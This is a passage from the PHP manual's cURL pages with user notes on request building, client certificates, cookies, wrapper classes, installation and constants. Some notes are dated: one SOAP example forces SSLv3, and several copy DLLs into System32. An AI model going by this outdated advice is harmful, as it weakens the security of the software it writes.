$ping_url = $this->sx_url.'ping.php?'.http_build_query($options);
$message = $this->_post_curl($ping_url);
?>

After debugging i found that $ping_url contain url like :

http://example.com/ping.php?app=1&amp;key=mail&amp;ttd=df52861e

But myserver give "No ttd GET variable" response

This problem fixed by adding optional parameter to make sure that http_build_query() use only '&' as arg separator rather than '&amp;'

<?php
//...
//...
//...
$ping_url = $this->sx_url.'ping.php?'.http_build_query($options,'','&');
$message = $this->_post_curl($ping_url);
?>
ramez at dot dontspan dot zegenie dot com 28-Oct-2010 06:19
CURL failed with PHP5.3 and Apache2.2.X on my Windows 7 machine.

It turns out that it's not enough to copy the two dll's mentioned (libeay32 and sslea32) from the php folder into your system32 folder. You HAVE TO UNBLOCK THESE TWO FILES.

Right click the file, select unblock, for each one. Then restart Apache.

Another very handy security feature added into Windows.
artax_N_O_S_P_A_M_erxes2 at iname dot com 17-Sep-2010 05:59
I needed to use cURL in a php script to download data using not only SSL for the server authentication but also for client authentication.
On a default install of Fedora, setting up the proper cURL parameters, I would get an error:

$ php curl.php
 Peer certificate cannot be authenticated with known CA certificates

The data on http://curl.haxx.se/docs/sslcerts.html was most useful. Indeed, toward to bottom it tells you to add a missing link inside /etc/pki/nssdb to use the ca-bundle.crt file. You do it so:

# cd /etc/pki/nssdb
# ln -s /usr/lib64/libnssckbi.so libnssckbi.so

Now you can do client authentication, provided you have your certificate handy with:

<?php
$data = "<soap:Envelope>[...]</soap:Envelope>";
$tuCurl = curl_init();
curl_setopt($tuCurl, CURLOPT_URL, "https://example.com/path/for/soap/url/");
curl_setopt($tuCurl, CURLOPT_PORT , 443);
curl_setopt($tuCurl, CURLOPT_VERBOSE, 0);
curl_setopt($tuCurl, CURLOPT_HEADER, 0);
curl_setopt($tuCurl, CURLOPT_SSLVERSION, 3);
curl_setopt($tuCurl, CURLOPT_SSLCERT, getcwd() . "/client.pem");
curl_setopt($tuCurl, CURLOPT_SSLKEY, getcwd() . "/keyout.pem");
curl_setopt($tuCurl, CURLOPT_CAINFO, getcwd() . "/ca.pem");
curl_setopt($tuCurl, CURLOPT_POST, 1);
curl_setopt($tuCurl, CURLOPT_SSL_VERIFYPEER, 1);
curl_setopt($tuCurl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($tuCurl, CURLOPT_POSTFIELDS, $data);
curl_setopt($tuCurl, CURLOPT_HTTPHEADER, array("Content-Type: text/xml","SOAPAction: \"/soap/action/query\"", "Content-length: ".strlen($data)));

$tuData = curl_exec($tuCurl);
if(!curl_errno($tuCurl)){
  $info = curl_getinfo($tuCurl);
  echo 'Took ' . $info['total_time'] . ' seconds to send a request to ' . $info['url'];
} else {
  echo 'Curl error: ' . curl_error($tuCurl);
}

curl_close($tuCurl);
echo $tuData;
?>
cliffclof atty gmail dotty com 05-Apr-2010 11:21
A solution that addresses repeat calls to the same set of urls using the same connection simulating frequent ajax calls in separate browser tabs.

In a unique situation you may need to set a cookie then use that cookie for multiple separate persistent connections using the same session cookie.  The problem is the session cookie may change while your doing your persistent calls.  If you set every curl handle to update a shared cookiejar on close you may overwrite the new found session value with the old session value depending on the closing order of your handles. Also, because the cookiejar is only written to on a curl_close, you may be using dissimilar or old session info in some of your 'faked browser tabs'.

To solve this problem I created a unique handle that opens and closes specifically to set a cookie file using CURLOPT_COOKIEJAR. Then I just use the read-only CURLOPT_COOKIEFILE on the multiple separate persistent handles.

This solves the problem of shared cookies fighting to write their values and keep persistent calls using the most up to date cookie information.

Note: In my case the multiple calls were in a while loop and I was using php in shell.  The session cookie value plus browser type limited the number of connections available and i wanted to use the max connections per session.
artem at zabsoft dot co dot in 11-May-2009 08:43
Hey I modified script for php 5. Also I add support server auth. and fixed some little bugs on the script.

[EDIT BY danbrown AT php DOT net: Original was written by (unlcuky13 AT gmail DOT com) on 19-APR-09.  The following note was included:
Below is the my way of using through PHP 5 objecte oriented encapsulation to make thing easier.]

<?php
 class mycurl {
     protected $_useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1';
     protected $_url;
     protected $_followlocation;
     protected $_timeout;
     protected $_maxRedirects;
     protected $_cookieFileLocation = './cookie.txt';
     protected $_post;
     protected $_postFields;
     protected $_referer ="http://www.google.com";

     protected $_session;
     protected $_webpage;
     protected $_includeHeader;
     protected $_noBody;
     protected $_status;
     protected $_binaryTransfer;
     public    $authentication = 0;
     public    $auth_name      = '';
     public    $auth_pass      = '';

     public function useAuth($use){
       $this->authentication = 0;
       if($use == true) $this->authentication = 1;
     }

     public function setName($name){
       $this->auth_name = $name;
     }
     public function setPass($pass){
       $this->auth_pass = $pass;
     }

     public function __construct($url,$followlocation = true,$timeOut = 30,$maxRedirecs = 4,$binaryTransfer = false,$includeHeader = false,$noBody = false)
     {
         $this->_url = $url;
         $this->_followlocation = $followlocation;
         $this->_timeout = $timeOut;
         $this->_maxRedirects = $maxRedirecs;
         $this->_noBody = $noBody;
         $this->_includeHeader = $includeHeader;
         $this->_binaryTransfer = $binaryTransfer;

         $this->_cookieFileLocation = dirname(__FILE__).'/cookie.txt';

     }

     public function setReferer($referer){
       $this->_referer = $referer;
     }

     public function setCookiFileLocation($path)
     {
         $this->_cookieFileLocation = $path;
     }

     public function setPost ($postFields)
     {
        $this->_post = true;
        $this->_postFields = $postFields;
     }

     public function setUserAgent($userAgent)
     {
         $this->_useragent = $userAgent;
     }

     public function createCurl($url = 'nul')
     {
        if($url != 'nul'){
          $this->_url = $url;
        }

         $s = curl_init();

         curl_setopt($s,CURLOPT_URL,$this->_url);
         curl_setopt($s,CURLOPT_HTTPHEADER,array('Expect:'));
         curl_setopt($s,CURLOPT_TIMEOUT,$this->_timeout);
         curl_setopt($s,CURLOPT_MAXREDIRS,$this->_maxRedirects);
         curl_setopt($s,CURLOPT_RETURNTRANSFER,true);
         curl_setopt($s,CURLOPT_FOLLOWLOCATION,$this->_followlocation);
         curl_setopt($s,CURLOPT_COOKIEJAR,$this->_cookieFileLocation);
         curl_setopt($s,CURLOPT_COOKIEFILE,$this->_cookieFileLocation);

         if($this->authentication == 1){
           curl_setopt($s, CURLOPT_USERPWD, $this->auth_name.':'.$this->auth_pass);
         }
         if($this->_post)
         {
             curl_setopt($s,CURLOPT_POST,true);
             curl_setopt($s,CURLOPT_POSTFIELDS,$this->_postFields);

         }

         if($this->_includeHeader)
         {
               curl_setopt($s,CURLOPT_HEADER,true);
         }

         if($this->_noBody)
         {
             curl_setopt($s,CURLOPT_NOBODY,true);
         }
         /*
         if($this->_binary)
         {
             curl_setopt($s,CURLOPT_BINARYTRANSFER,true);
         }
         */
         curl_setopt($s,CURLOPT_USERAGENT,$this->_useragent);
         curl_setopt($s,CURLOPT_REFERER,$this->_referer);

         $this->_webpage = curl_exec($s);
                   $this->_status = curl_getinfo($s,CURLINFO_HTTP_CODE);
         curl_close($s);

     }

   public function getHttpStatus()
   {
       return $this->_status;
   }

   public function __tostring(){
      return $this->_webpage;
   }
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by "roetsch.beni at googlemail (dot) com" on 02-AUG-09, with the following note: "Fixes the bugfix: 417 bug at lighthttp server."]
admin at jeremyzaretski dot com 18-Mar-2009 05:14
I wanted to create a script that acted as a bridge between an external server and an internal server, wherein the internal server was not connected to the internet, but had information required by the users connecting to the external server. I hatched the idea to use curl to connect from the external server to the internal server (using request variables to send queries) and return everything (data and headers) returned by the file server.

After being driven mad by segmentation faults and crashes because the curl_exec didn't like me having the CURLOPT_HEADERFUNCTION's function directly dumping the header:

<?php
function Duplicate_Header($curl, $header)
{
    header($header);
    return strlen($header);
}
?>

... I tried (on a whim) duplicating and trimming the header and passing the duplicate to the header function...

<?php
function Duplicate_Header($curl, $header)
{
    $duplicate = trim($header);
    header($duplicate);
    return strlen($header);
}
?>

Which worked just fine. I don't know if this is just some quirk of PHP4 or my lack of understanding of how the curl and header function works.
pyromus at gmail dot com 16-Oct-2008 01:37
You can use this class for fast entry

<?php
class cURL {
var $headers;
var $user_agent;
var $compression;
var $cookie_file;
var $proxy;
function cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') {
$this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if ($this->cookies == TRUE) $this->cookie($cookie);
}
function cookie($cookie_file) {
if (file_exists($cookie_file)) {
$this->cookie_file=$cookie_file;
} else {
fopen($cookie_file,'w') or $this->error('The cookie file could not be opened. Make sure this directory has the correct permissions');
$this->cookie_file=$cookie_file;
fclose($this->cookie_file);
}
}
function get($url) {
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file);
curl_setopt($process,CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->proxy) curl_setopt($process, CURLOPT_PROXY, $this->proxy);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
function post($url,$data) {
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 1);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file);
curl_setopt($process, CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->proxy) curl_setopt($process, CURLOPT_PROXY, $this->proxy);
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($process, CURLOPT_POST, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
die;
}
}
$cc = new cURL();
$cc->get('http://www.example.com');
$cc->post('http://www.example.com','foo=bar');
?>

[EDIT BY danbrown AT php DOT net: Includes a bugfix provided by "Anonymous" on 01-Dec-2008 @ 06:52.  Also replaced real URL with example.com as per RFC 2606.]

[EDIT BY danbrown AT php DOT net: Includes a bugfix provided by (manuel AT rankone DOT ch) on 24-NOV-09 to properly reference cURL initialization.]
eflash at gmx dot net 05-Oct-2008 06:45
In order to use curl with secure sites you will need a ca-bundle.crt file; here's a PHP script I've written which creates a fresh ca-bundle:
http://www.gknw.net/php/phpscripts/mk-ca-bundle.php
I've also written scripts in other languages, f.e. the Perl one which ships now with curl distributions:
http://curl.haxx.se/lxr/source/lib/mk-ca-bundle.pl
and also a Win32 WSH script if you prefer that:
http://www.gknw.net/vb/scripts/mk-ca-bundle.vbs

HTH, Guenter.


Introduction

PHP supports libcurl, a library created by Daniel Stenberg, that allows you to connect and communicate to many different types of servers with many different types of protocols. libcurl currently supports the http, https, ftp, gopher, telnet, dict, file, and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading (this can also be done with PHP's ftp extension), HTTP form based upload, proxies, cookies, and user+password authentication.

These functions have been added in PHP 4.0.2.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

helvecio_oliveira at yahoo dot com dot br 21-Aug-2003 06:12
CURL install steps in Mandrake 9.1:
==========================================================
cp -r /usr/src/php-devel/extensions/curl /tmp/curl
cd /tmp/curl
phpize
./configure
make install
echo "extension = curl.so" > /etc/php/90_curl.ini

Restart apache web server.
==========================================================
curl.so is in:
/usr/lib/php/extensions/

look in phpinfo, the string:
/etc/php/90_curl.ini

Needs these  tools:
autoconf
automake
libtool
m4
php430-devel-430-11mdk.rpm

Some docs:
/usr/share/doc/php430-devel-430/SELF-CONTAINED-EXTENSIONS


Requirements

In order to use PHP's cURL functions you need to install the » libcurl package. PHP requires libcurl version 7.10.5 or later.

User Contributed Notes

There are no user contributed notes for this page.


Installation

To use PHP's cURL support you must also compile PHP --with-curl[=DIR] where DIR is the location of the directory containing the lib and include directories. In the include directory there should be a folder named curl which should contain the easy.h and curl.h files. There should be a file named libcurl.a located in the lib directory. Beginning with PHP 4.3.0 you can configure PHP to use cURL for URL streams --with-curlwrappers . This feature was moved to PECL as of PHP 5.5.0.

Note: Note to Win32 Users
In order to enable this module on a Windows environment, libeay32.dll and ssleay32.dll must be present in your PATH. You don't need libcurl.dll from the cURL site.

User Contributed Notes

ken at kenw dot us 19-Oct-2014 08:15
I had to also also copy libssh2.dll into my Apache24 folder for this to work with my PHP 5.6.2 installation. So altogether I had to do the following:

Move to Windows\system32 folder:
libssh2.dll, php_curl.dll, ssleay32.dll, libeay32.dll

Move to Apache24\bin folder
libssh2.dll

Uncomment extension=php_curl.dll
jwagner at digilog dot de 15-Oct-2014 04:07
On Windows hosts libeay32.dll and ssleay32.dll have to be path-accessible for php_curl.dll to work correctly. Copying them into System32 (or even into the Windows main directory) is a bad hack (and does not even work with newer PHP versions). The right way to do it, is to add the PHP path to the Windows *Path* variable. In *Control Panel* --> *System* click on *Advanced System Settings* and use the button *Environment Variables*. Under *System Variables* you will find the *Path* variable. Edit it and append `;C:/PHP` to it - or whatever the path to your PHP root folder is.
jorijnsmit at gmail dot com 22-Mar-2014 03:44
It is not necessary to always (re)compile PHP. For me it was sufficient to install php5-curl and restart Apache:

$ sudo apt-get install php5-curl
$ sudo /etc/init.d/apache2 restart
aaron at iodragon dot com 07-Feb-2014 04:56
make sure there is a curl-config under DIR or DIR/bin
otherwise there will be an error when running ./configure
TristanV 14-Dec-2013 08:41
If you are running on Windows with a Wampserver or alike preconfigured PHP, if you did everything that was advised (path is correct, dlls are in the System32 or the Wow64 folder, php_curl extension uncommented in the php.ini, rebooted your machine and restarted your services), and you still receive messages saying that curl is not installed :
- maybe you are running a command line script (and not a curl instruction within a web application). If yes, remember that there are 2 distinct php.ini configuration files : one for the php-cli commands (run php at command line) and one for the php instructions (run from a page in your www folder).
Wampserver's menuitem "php.ini" only opens the webserver's php.ini, not the php-cli one.
So it will be great to check your php-cli's php.ini configuration file ! (you'll find it in the php.exe's installation folder)
You need to uncomment the extension php_curl in this php.ini file for the command lines to work with curl.
Also uncomment the php_openssl extention by the way (often used with curl).
I hope this fixed issue will help someone else :)
musicdev at gmail dot com 15-May-2013 09:46
A tip for users that now use the latest version of Windows 7 Ultimate, Apache 2.2.22 and PHP 5.4.4.  If you manually installed PHP and did not change the PHP folder name such as "C:\php-5.4.4-Win32-VC9-x86" you don't need to add the curl libs into the System32 directory.  Instead, modify the php.ini cURL extension to point directly to the php_curl.dll as follows:

extension=C:\php-5.4.4-Win32-VC9-x86\ext\php_curl.dll

I added the libs to system32 and moded the path as well just in case.  Worked well for me.
jmichieli76 at yahoo dot ca 18-Jun-2012 11:03
It should be noted that on a standard installation of php 5.2.17 on windows has this functionality installed and enabled by default.
y dot gonzalez at bifie dot at 13-Oct-2011 02:06
For users of win7 64:
I just copied the library php_curl.dll to System32 and it works like charm ;-)
Joseph Marlin 13-Jun-2011 07:57
Ubuntu 11.04

I already had Apache and PHP5 setup, but simply adding php5-curl and curl did *not* work. I also had to get libcurl3 and libcurl3-dev. The full command:

sudo apt-get install curl libcurl3 libcurl3-dev php5-curl

You'll know if it works because phpinfo() will get a new section with Curl info.
Anonymous 04-Jan-2011 09:39
For Windows 64, put the DLLs into the Windows/SysWOW64 Folder.
Anonymous 01-Dec-2010 02:40
It's not sufficient to put libeay32.dll and ssleay32.dll into your path.  They also need to be in the PHP directory or it will not function, apparently.
wixelbomb at yahoo dot com 28-Dec-2009 08:17
Just an additional note for Windows XP installations ...

The instructions others have courteously given still lack one small item for those who have the Windows/system32 directory as the repository for the .dll files concerned with php_curl.

Go to the ext directory of your php installation and copy php_curl.dll  to the Windows/system32 folder after you have followed the advise given elsewhere.

So ...
1) remove ';' from extension=php_curl.dll in php.ini
2) ensure that  ssleay32.dll and libeay32.dll are in Windows/system32.
3) Copy php_curl.dll into Windows\System32 as well.

G'day

bearstate
regs at voidship dot net 23-Sep-2008 06:45
If you're dense like I am, spare yourself the trouble on an Ubuntu system (probably Debian too) and...

$ sudo apt-get install php5-curl

Then feel dumb, but not as dumb as me.
cristianods at yahoo dot com 14-Aug-2008 03:53
Tip for Installing cURL with AppServ development server on Windows

If you are running AppServ as a WAMP development environment on a Windows machine, you may experience difficulty installing cURL. Here are some helpful steps:

First go to the PHP directory and copy the following libraries to the windows/system32 dir.
ssleay32.dll
libeay32.dll

Open the php ini file and remove the ; from extension=php_curl.dll

Reboot your machine to load […]
comments at adstation-systems dot com 09-Aug-2008 05:23
You may be confused, as I was, by the instructions for installing cURL in php.  The instruction "To use PHP's cURL support you must also compile PHP --with-curl[=DIR]..." was murky to me, since I didn't compile php when I installed it.  I just copied all of the necessary files to the correct folders as described very clearly in the php manual.

I am using Windows XP and Apache with php 5.1.6. In this situation, and it may apply to php versions of 5.0 and later, all one needs to do is remove the ";" from the front of the directive extension=php_curl.dll.  You should also check to make certain that libeay32.dll and ssleay32.dll are in your php directory with the other dll's.  This directory should already be in you path, so the instruction to put them in you path is not critical.

You can then run phpinfo() and you should see a heading for curl in the listing.

Succinctly, my installation of cURL consisted of removing the semi-colon in front of the ;extension=php_curl.dll line in php.ini, saving php.ini and restarting Apache.  You may wish to try this if you are using php 5.0 and later and are having difficulty understanding the instructions on the cURL installation page at php.net

You might also find the information at http://curl.phptrack.com/forum/viewtopic.php?t=52 useful.
rohanshenoy at w3hobbyist dot com 21-Jul-2008 06:21
If you are using WAMPserver, you can enable the cURL extensions by
Left-click on WAMPserver tray icon>PHP>PHP extensions> Check php_curl.

Its already loaded on your disk, you have to activate it.
Christopher McCulloh 18-Jul-2008 05:40
If you are using XAMPP (http://www.apachefriends.org/en/index.html) all you have to do is uncomment this line (line 582):

extension=php_curl.dll

in the xampp\apache\bin\php.ini file.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

cURL Configuration Options
Name | Default | Changeable | Changelog
curl.cainfo | NULL | PHP_INI_SYSTEM | Available since PHP 5.3.7.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

curl.cainfo string

A default value for the CURLOPT_CAINFO option. This is required to be an absolute path.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines two resource types: a cURL handle and a cURL multi handle.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Descriptions and uses for these constants are described within the curl_setopt(), curl_multi_setopt() and curl_getinfo() documentation.

CURLOPT_AUTOREFERER (integer)
Available since PHP 5.1.0
CURLOPT_COOKIESESSION (integer)
Available since PHP 5.1.0
CURLOPT_DNS_USE_GLOBAL_CACHE (integer)
CURLOPT_DNS_CACHE_TIMEOUT (integer)
CURLOPT_FTP_SSL (integer)
Available since PHP 5.2.0
CURLFTPSSL_TRY (integer)
Available since PHP 5.2.0
CURLFTPSSL_ALL (integer)
Available since PHP 5.2.0
CURLFTPSSL_CONTROL (integer)
Available since PHP 5.2.0
CURLFTPSSL_NONE (integer)
Available since PHP 5.2.0
CURLOPT_PRIVATE (integer)
Available since PHP 5.2.4
CURLOPT_FTPSSLAUTH (integer)
Available since PHP 5.1.0
CURLOPT_PORT (integer)
CURLOPT_FILE (integer)
CURLOPT_INFILE (integer)
CURLOPT_INFILESIZE (integer)
CURLOPT_URL (integer)
CURLOPT_PROXY (integer)
CURLOPT_VERBOSE (integer)
CURLOPT_HEADER (integer)
CURLOPT_HTTPHEADER (integer)
CURLOPT_NOPROGRESS (integer)
CURLOPT_NOBODY (integer)
CURLOPT_FAILONERROR (integer)
CURLOPT_UPLOAD (integer)
CURLOPT_POST (integer)
CURLOPT_FTPLISTONLY (integer)
CURLOPT_FTPAPPEND (integer)
CURLOPT_FTP_CREATE_MISSING_DIRS (integer)
CURLOPT_NETRC (integer)
CURLOPT_FOLLOWLOCATION (integer)
This constant is not available when open_basedir or safe_mode are enabled.
CURLOPT_FTPASCII (integer)
CURLOPT_PUT (integer)
CURLOPT_MUTE (integer)
CURLOPT_USERPWD (integer)
CURLOPT_PROXYUSERPWD (integer)
CURLOPT_RANGE (integer)
CURLOPT_TIMEOUT (integer)
CURLOPT_TIMEOUT_MS (integer)
CURLOPT_TCP_NODELAY (integer)
Available since PHP 5.2.1
CURLOPT_POSTFIELDS (integer)
CURLOPT_PROGRESSFUNCTION (integer)
Available since PHP 5.3.0
CURLOPT_REFERER (integer)
CURLOPT_USERAGENT (integer)
CURLOPT_FTPPORT (integer)
CURLOPT_FTP_USE_EPSV (integer)
CURLOPT_LOW_SPEED_LIMIT (integer)
CURLOPT_LOW_SPEED_TIME (integer)
CURLOPT_RESUME_FROM (integer)
CURLOPT_COOKIE (integer)
CURLOPT_SSLCERT (integer)
CURLOPT_SSLCERTPASSWD (integer)
CURLOPT_WRITEHEADER (integer)
CURLOPT_SSL_VERIFYHOST (integer)
CURLOPT_COOKIEFILE (integer)
CURLOPT_SSLVERSION (integer)
CURL_SSLVERSION_DEFAULT (integer)
CURL_SSLVERSION_TLSv1 (integer)
CURL_SSLVERSION_SSLv2 (integer)
CURL_SSLVERSION_SSLv3 (integer)
CURL_SSLVERSION_TLSv1_0 (integer)
Available since PHP 5.5.19 and 5.6.3
CURL_SSLVERSION_TLSv1_1 (integer)
Available since PHP 5.5.19 and 5.6.3
CURL_SSLVERSION_TLSv1_2 (integer)
Available since PHP 5.5.19 and 5.6.3
CURLOPT_TIMECONDITION (integer)
CURLOPT_TIMEVALUE (integer)
CURLOPT_CUSTOMREQUEST (integer)
CURLOPT_STDERR (integer)
CURLOPT_TRANSFERTEXT (integer)
CURLOPT_RETURNTRANSFER (integer)
CURLOPT_QUOTE (integer)
CURLOPT_POSTQUOTE (integer)
CURLOPT_INTERFACE (integer)
CURLOPT_KRB4LEVEL (integer)
CURLOPT_HTTPPROXYTUNNEL (integer)
CURLOPT_FILETIME (integer)
CURLOPT_WRITEFUNCTION (integer)
CURLOPT_READFUNCTION (integer)
CURLOPT_PASSWDFUNCTION (integer)
CURLOPT_HEADERFUNCTION (integer)
CURLOPT_MAXREDIRS (integer)
CURLOPT_MAXCONNECTS (integer)
CURLOPT_CLOSEPOLICY (integer)
Removed in PHP 5.6.0.
CURLOPT_FRESH_CONNECT (integer)
CURLOPT_FORBID_REUSE (integer)
CURLOPT_RANDOM_FILE (integer)
CURLOPT_EGDSOCKET (integer)
CURLOPT_CONNECTTIMEOUT (integer)
CURLOPT_CONNECTTIMEOUT_MS (integer)
CURLOPT_SSL_VERIFYPEER (integer)
CURLOPT_CAINFO (integer)
CURLOPT_CAPATH (integer)
CURLOPT_COOKIEJAR (integer)
CURLOPT_SSL_CIPHER_LIST (integer)
CURLOPT_BINARYTRANSFER (integer)
CURLOPT_NOSIGNAL (integer)
CURLOPT_PROXYTYPE (integer)
CURLOPT_BUFFERSIZE (integer)
CURLOPT_HTTPGET (integer)
CURLOPT_HTTP_VERSION (integer)
CURLOPT_SSLKEY (integer)
CURLOPT_SSLKEYTYPE (integer)
CURLOPT_SSLKEYPASSWD (integer)
CURLOPT_SSLENGINE (integer)
CURLOPT_SSLENGINE_DEFAULT (integer)
CURLOPT_SSLCERTTYPE (integer)
CURLOPT_CRLF (integer)
CURLOPT_ENCODING (integer)
CURLOPT_PROXYPORT (integer)
CURLOPT_UNRESTRICTED_AUTH (integer)
CURLOPT_FTP_USE_EPRT (integer)
CURLOPT_HTTP200ALIASES (integer)
CURLOPT_HTTPAUTH (integer)
CURLAUTH_BASIC (integer)
CURLAUTH_DIGEST (integer)
CURLAUTH_GSSNEGOTIATE (integer)
CURLAUTH_NTLM (integer)
CURLAUTH_ANY (integer)
CURLAUTH_ANYSAFE (integer)
CURLOPT_PROXYAUTH (integer)
CURLOPT_MAX_RECV_SPEED_LARGE (integer)
Available since PHP 5.4.0 and cURL 7.15.5
CURLOPT_MAX_SEND_SPEED_LARGE (integer)
Available since PHP 5.4.0 and cURL 7.15.5
CURLCLOSEPOLICY_LEAST_RECENTLY_USED (integer)
Removed in PHP 5.6.0.
CURLCLOSEPOLICY_LEAST_TRAFFIC (integer)
Removed in PHP 5.6.0.
CURLCLOSEPOLICY_SLOWEST (integer)
Removed in PHP 5.6.0.
CURLCLOSEPOLICY_CALLBACK (integer)
Removed in PHP 5.6.0.
CURLCLOSEPOLICY_OLDEST (integer)
Removed in PHP 5.6.0.
CURLINFO_PRIVATE (integer)
Available since PHP 5.2.4
CURLINFO_EFFECTIVE_URL (integer)
CURLINFO_HTTP_CODE (integer)
CURLINFO_HEADER_OUT (integer)
Available since PHP 5.1.3
CURLINFO_HEADER_SIZE (integer)
CURLINFO_REQUEST_SIZE (integer)
CURLINFO_TOTAL_TIME (integer)
CURLINFO_NAMELOOKUP_TIME (integer)
CURLINFO_CONNECT_TIME (integer)
CURLINFO_PRETRANSFER_TIME (integer)
CURLINFO_SIZE_UPLOAD (integer)
CURLINFO_SIZE_DOWNLOAD (integer)
CURLINFO_SPEED_DOWNLOAD (integer)
CURLINFO_SPEED_UPLOAD (integer)
CURLINFO_FILETIME (integer)
CURLINFO_SSL_VERIFYRESULT (integer)
CURLINFO_CONTENT_LENGTH_DOWNLOAD (integer)
CURLINFO_CONTENT_LENGTH_UPLOAD (integer)
CURLINFO_STARTTRANSFER_TIME (integer)
CURLINFO_CONTENT_TYPE (integer)
CURLINFO_REDIRECT_TIME (integer)
CURLINFO_REDIRECT_COUNT (integer)
CURL_TIMECOND_IFMODSINCE (integer)
CURL_TIMECOND_IFUNMODSINCE (integer)
CURL_TIMECOND_LASTMOD (integer)
CURL_VERSION_IPV6 (integer)
CURL_VERSION_KERBEROS4 (integer)
CURL_VERSION_SSL (integer)
CURL_VERSION_LIBZ (integer)
CURLVERSION_NOW (integer)
CURLE_OK (integer)
CURLE_UNSUPPORTED_PROTOCOL (integer)
CURLE_FAILED_INIT (integer)
CURLE_URL_MALFORMAT (integer)
CURLE_URL_MALFORMAT_USER (integer)
CURLE_COULDNT_RESOLVE_PROXY (integer)
CURLE_COULDNT_RESOLVE_HOST (integer)
CURLE_COULDNT_CONNECT (integer)
CURLE_FTP_WEIRD_SERVER_REPLY (integer)
CURLE_FTP_ACCESS_DENIED (integer)
CURLE_FTP_USER_PASSWORD_INCORRECT (integer)
CURLE_FTP_WEIRD_PASS_REPLY (integer)
CURLE_FTP_WEIRD_USER_REPLY (integer)
CURLE_FTP_WEIRD_PASV_REPLY (integer)
CURLE_FTP_WEIRD_227_FORMAT (integer)
CURLE_FTP_CANT_GET_HOST (integer)
CURLE_FTP_CANT_RECONNECT (integer)
CURLE_FTP_COULDNT_SET_BINARY (integer)
CURLE_PARTIAL_FILE (integer)
CURLE_FTP_COULDNT_RETR_FILE (integer)
CURLE_FTP_WRITE_ERROR (integer)
CURLE_FTP_QUOTE_ERROR (integer)
CURLE_HTTP_NOT_FOUND (integer)
CURLE_WRITE_ERROR (integer)
CURLE_MALFORMAT_USER (integer)
CURLE_FTP_COULDNT_STOR_FILE (integer)
CURLE_READ_ERROR (integer)
CURLE_OUT_OF_MEMORY (integer)
CURLE_OPERATION_TIMEOUTED (integer)
CURLE_FTP_COULDNT_SET_ASCII (integer)
CURLE_FTP_PORT_FAILED (integer)
CURLE_FTP_COULDNT_USE_REST (integer)
CURLE_FTP_COULDNT_GET_SIZE (integer)
CURLE_HTTP_RANGE_ERROR (integer)
CURLE_HTTP_POST_ERROR (integer)
CURLE_SSL_CONNECT_ERROR (integer)
CURLE_FTP_BAD_DOWNLOAD_RESUME (integer)
CURLE_FILE_COULDNT_READ_FILE (integer)
CURLE_LDAP_CANNOT_BIND (integer)
CURLE_LDAP_SEARCH_FAILED (integer)
CURLE_LIBRARY_NOT_FOUND (integer)
CURLE_FUNCTION_NOT_FOUND (integer)
CURLE_ABORTED_BY_CALLBACK (integer)
CURLE_BAD_FUNCTION_ARGUMENT (integer)
CURLE_BAD_CALLING_ORDER (integer)
CURLE_HTTP_PORT_FAILED (integer)
CURLE_BAD_PASSWORD_ENTERED (integer)
CURLE_TOO_MANY_REDIRECTS (integer)
CURLE_UNKNOWN_TELNET_OPTION (integer)
CURLE_TELNET_OPTION_SYNTAX (integer)
CURLE_OBSOLETE (integer)
CURLE_SSL_PEER_CERTIFICATE (integer)
CURLE_GOT_NOTHING (integer)
CURLE_SSL_ENGINE_NOTFOUND (integer)
CURLE_SSL_ENGINE_SETFAILED (integer)
CURLE_SEND_ERROR (integer)
CURLE_RECV_ERROR (integer)
CURLE_SHARE_IN_USE (integer)
CURLE_SSL_CERTPROBLEM (integer)
CURLE_SSL_CIPHER (integer)
CURLE_SSL_CACERT (integer)
CURLE_BAD_CONTENT_ENCODING (integer)
CURLE_LDAP_INVALID_URL (integer)
